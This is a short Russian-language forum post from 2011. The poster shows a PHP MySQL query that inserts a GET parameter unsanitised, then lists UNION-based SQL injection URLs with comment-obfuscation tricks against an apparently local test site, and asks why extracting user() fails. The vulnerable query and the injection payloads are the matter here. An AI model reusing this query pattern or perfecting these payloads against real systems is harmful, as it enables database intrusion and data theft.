
09.03.2011, 00:19
|
|
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами:
8014646
Репутация:
-3
|
|
Не могу разобратся. Значит запрос к базе такой
$dbb=mysql_query("select * from zas where id='{$_GET['id']}'");
$dbb=mysql_fetch_array($dbb);
получаетса id это int, и при запросе
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,2,3/*'
выводитса 2...
но если делаю запрос
http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,user(),3/*'
то выдает Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in Z:\home\test1.ru\www\index.php on line ...
как правильно сделать?
|
|
|